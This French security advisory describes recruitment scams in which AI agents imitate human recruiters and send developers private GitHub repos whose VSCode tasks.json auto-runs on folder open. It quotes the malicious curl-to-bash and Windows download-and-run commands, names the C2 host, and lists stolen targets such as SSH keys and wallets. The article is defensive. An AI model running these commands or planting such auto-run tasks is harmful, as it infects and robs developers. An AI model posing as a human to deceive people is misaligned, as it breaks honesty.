Agents IA dans les arnaques au recrutement : Comment ils infectent via des dépôts privés
Les escrocs ont commencé à utiliser des agents IA pour automatiser les attaques contre les développeurs via des plateformes comme Habr Career. Au lieu d'envoyer des messages manuels, des milliers de candidats reçoivent désormais des offres d'emploi personnalisées accompagnées de tâches de test contenant du code malveillant dissimulé. Le vecteur principal consiste en des dépôts GitHub privés dotés de tâches s'exécutant automatiquement dans VSCode.
Comment fonctionne le nouveau schéma d'attaque
L'attaquant crée un compte sur une plateforme de recrutement et configure un agent IA qui analyse les profils des développeurs. En se basant sur la stack (par exemple, React + Node.js + Web3), il génère une description d'emploi convaincante et mène une conversation imitant un RH en direct. L'agent évite les réponses immédiates, insère des « erreurs » typiquement humaines et ne communique qu'aux heures de bureau – tout cela pour inspirer confiance.
Une fois que le candidat accepte la tâche de test, il est ajouté à un dépôt privé sur GitHub. C'est le point clé : les dépôts publics sont rapidement détectés par les scanners de sécurité, tandis que les privés passent inaperçus jusqu'au clonage.
Charge utile cachée dans .vscode/
Le dépôt contient une structure fullstack standard : frontend React, backend Express, base de données PostgreSQL, authentification Firebase, intégration Stripe. Le code paraît légitime même à un examen superficiel. Cependant, l'élément malveillant est dissimulé dans le répertoire .vscode/.
Le fichier tasks.json définit une tâche avec le paramètre :
"runOn": "folderOpen"
Cela force VSCode à exécuter automatiquement la commande lors de l'ouverture du dossier du projet. Une notification apparaît en bas de l'interface, mais la plupart des développeurs l'ignorent car de telles tâches sont courantes pour la construction de projets.
Les commandes varient selon l'OS :
Linux / macOS :
curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash
Windows :
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs
Composants de l'infrastructure malveillante
L'attaque repose sur plusieurs éléments techniques :
- Serveur C2 :
ping-i2eo.onrender.comhébergé sur Render.com gratuit. L'extrémité/nvsfournit un script shell dynamique. L'User-Agent (100,101,102) identifie l'OS de la victime. - Binaire
argv.exe: fichier PE32 (579 Ko) dans.vscode/snippets/, utilisé pour dépaqueter une charge utile chiffrée sur Windows. - JS obfuscé : fichier
.vscode/lock(753 Ko) contenant du JavaScript sur une ligne, probablement pour la persistance ou le vol de données dans les environnements Unix. - Identifiants factices :
server/config/default.jsoncontient des vraies clés API en clair (Cloudflare, S3/R2, email) pour donner une apparence légitime au projet.
Objectifs de l'attaque et conséquences
La charge utile exacte est inconnue car elle est chargée dynamiquement depuis le serveur C2. Cependant, les cibles typiques incluent :
- Vol des clés SSH depuis
~/.ssh/ - Extraction des fichiers
.envet tokens d'autres projets - Détournement des cookies de navigateur et mots de passe sauvegardés
- Installation d'un mineur de cryptomonnaies
- Implantation d'une porte dérobée ou d'un shell inverse pour un accès persistant
Les développeurs Web3 sont particulièrement vulnérables : leurs machines contiennent souvent des phrases de récupération, clés privées et portefeuilles offrant un accès direct aux actifs crypto.
Pourquoi l'attaque a échoué cette fois
Deux facteurs ont empêché l'infection :
- Paramètre VSCode
task.allowAutomaticTasks: off— bloque complètement l'exécution automatique des tâches de l'espace de travail sans confirmation explicite. - Ouverture du dépôt dans le terminal WSL, et non dans la version GUI de VSCode. Le paramètre
runOn: folderOpenne se déclenche que via l'application de bureau.
Signaux d'alerte lors des contacts avec les recruteurs
Soyez vigilant face à ces indices :
- IA simulant un humain : fautes délibérées, réponses uniquement aux heures de bureau, esquive des détails précis. Les demandes de précisions sur le projet mènent à du « bla-bla » vague et formaté de startup.
- Personnalisation excessive de l'offre correspondant pile à votre stack, surtout depuis un compte peu actif.
- Dépôt privé pour la tâche de test sans option de prévisualisation du code.
- Présence de
.vscode/tasks.jsonavec"runOn": "folderOpen"— les tâches de test légitimes n'exigent pas de scripts auto-lançants.
Leçons à retenir
- Désactivez l'exécution automatique des tâches dans VSCode : Allez dans Paramètres → recherchez
task.allowAutomaticTasks→ réglez suroff. - Inspectez toujours le contenu des dépôts dans l'interface web GitHub avant de cloner, en particulier les fichiers
.vscode/. - Ne faites pas aveuglément confiance aux dépôts privés — ils sont couramment utilisés pour contourner les systèmes de détection de malwares.
- Les développeurs Web3 sont des cibles privilégiées : Isolez portefeuilles et clés de votre espace de travail principal.
- Les agents IA réduisent les coûts des arnaques : Un seul système peut traiter des milliers de profils, permettant des attaques de masse ultra-personnalisées.
— Editorial Team
Aucun commentaire pour le moment.